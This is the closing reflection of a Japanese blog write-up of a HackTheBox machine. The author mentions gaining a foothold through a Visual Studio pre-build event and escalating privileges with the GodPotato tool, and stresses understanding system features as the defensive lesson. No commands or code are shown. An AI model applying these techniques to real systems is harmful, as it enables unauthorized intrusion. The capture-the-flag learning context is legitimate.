攻略を終えて

今回のマシンは全体を通して、かなり勉強になりました。特にVisual Studioプロジェクトのビルドイベントからコマンドを実行できることなんて当然知りませんでしたし、そもそもプロジェクトを作る経験もありませんでした。Windowsにはまだまだ知らないことばかりだなと思いました。。
権限昇格で使用したGodPotateも存在は知っていましたが、使ったことはなかったので、今回使用できてよかったです。かなり便利だなという印象を受けました。
足がかりは、Visual Studioプロジェクトのビルド前イベントでしたが、これは脆弱性ではなく仕様なので、対策が難しいです。ただ、今回のマシンから得られる教訓は自分が使用するシステムの仕様はきちんと把握するということですね。機能が膨大で大変なのはわかりますが、しっかりと機能を把握できていないと今回のようなインシデントを引き起こす可能性があります。診断する側としても細かい機能を理解した上での提案ができるように心がけていきたいです。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで見ていただき、ありがとうございました~!

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?